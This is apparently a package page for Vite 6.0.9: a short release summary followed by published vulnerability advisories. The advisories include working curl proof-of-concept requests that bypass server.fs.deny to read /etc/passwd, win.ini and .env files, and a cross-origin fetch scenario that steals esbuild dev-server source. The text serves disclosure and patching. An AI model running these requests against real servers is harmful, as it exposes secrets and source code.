Vite 6.0.9 is a minor release update to the popular native-ESM powered web development build tool, following closely on the heels of version 6.0.8. Both versions share a core foundation with dependencies like Rollup, esbuild, and PostCSS remaining consistent, ensuring stability in fundamental build processes. Key development dependencies like ws, cac, ufo, and a wide array of Rollup plugins are also maintained, indicating a focus on incremental improvements rather than radical changes.
A notable difference lies in the unpacked size of the package, with version 6.0.9 slightly larger, suggesting potential additions or modifications to existing functionalities. While the core peer dependencies for templating languages and other utilities remain compatible, developers upgrading should always verify compatibility with their specific toolchain.
The release dates, indicate a rapid succession of releases, possibly addressing minor bugs or enhancements identified shortly after the initial 6.0.8 release. Vite continues to prioritize a developer-friendly experience with features like hot module replacement and fast build times. Upgrading to 6.0.9 should be a straightforward process, but reviewing the change log for specific fixes or new features relevant to your project is always recommended to ensure a smooth transition and leverage the latest enhancements. The consistent dependency versions suggest the changes are not fundamental, making this a low-risk upgrade for most users.
All the vulnerabilities related to the version 6.0.9 of the package
Vite bypasses server.fs.deny when using ?raw??
The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host
or server.host
config option) are affected.
@fs
denies access to files outside of Vite serving allow list. Adding ?raw??
or ?import&raw??
to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ?
are removed in several places, but are not accounted for in query string regexes.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
Vite has a server.fs.deny
bypassed for inline
and raw
with ?import
query
The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host
or server.host
config option) are affected.
?inline&import
(originally reported as ?import&?inline=1.wasm?init
)?raw?import
/@fs/
isn't needed to reproduce the issue for files inside the project root.
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
Vite allows server.fs.deny to be bypassed with .svg or relative paths
The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
.svg
Requests ending with .svg
are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg
with ?.wasm?init
or with sec-fetch-dest: script
header, the restriction was able to bypass.
This bypass is only possible if the file is smaller than build.assetsInlineLimit
(default: 4kB) and when using Vite 6.0+.
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../
).
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
Vite has an server.fs.deny
bypass with an invalid request-target
The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.
Only apps with the following conditions are affected.
HTTP 1.1 spec (RFC 9112) does not allow #
in request-target
. Although an attacker can send such a request. For those requests with an invalid request-line
(it includes request-target
), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).
On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url
contains #
. Vite assumed req.url
won't contain #
when checking server.fs.deny
, allowing those kinds of requests to bypass the check.
On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url
did not contain #
.
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read /etc/passwd
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
Vite's server.fs.deny bypassed with /. for files under project root
The contents of files in the project root
that are denied by a file matching pattern can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root
and are denied by a file matching pattern can be bypassed.
.env
, .env.*
, *.{crt,pem}
, **/.env
**/.git/**
, .git/**
, .git/**/*
server.fs.deny
can contain patterns matching against files (by default it includes .env
, .env.*
, *.{crt,pem}
as such patterns).
These patterns were able to bypass for files under root
by using a combination of slash and dot (/.
).
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173
esbuild enables any website to send any requests to the development server and read the response
esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.
esbuild sets Access-Control-Allow-Origin: *
header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121 https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363
Attack scenario:
http://malicious.example.com
).fetch('http://127.0.0.1:8000/main.js')
request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.http://127.0.0.1:8000/main.js
.In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by
/index.html
: normally you have a script tag here/assets
: it's common to have a assets
directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files/esbuild
SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data))
)The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.
npm i
npm run watch
fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content))
in a different website's dev tools.Users using the serve feature may get the source code stolen by malicious websites.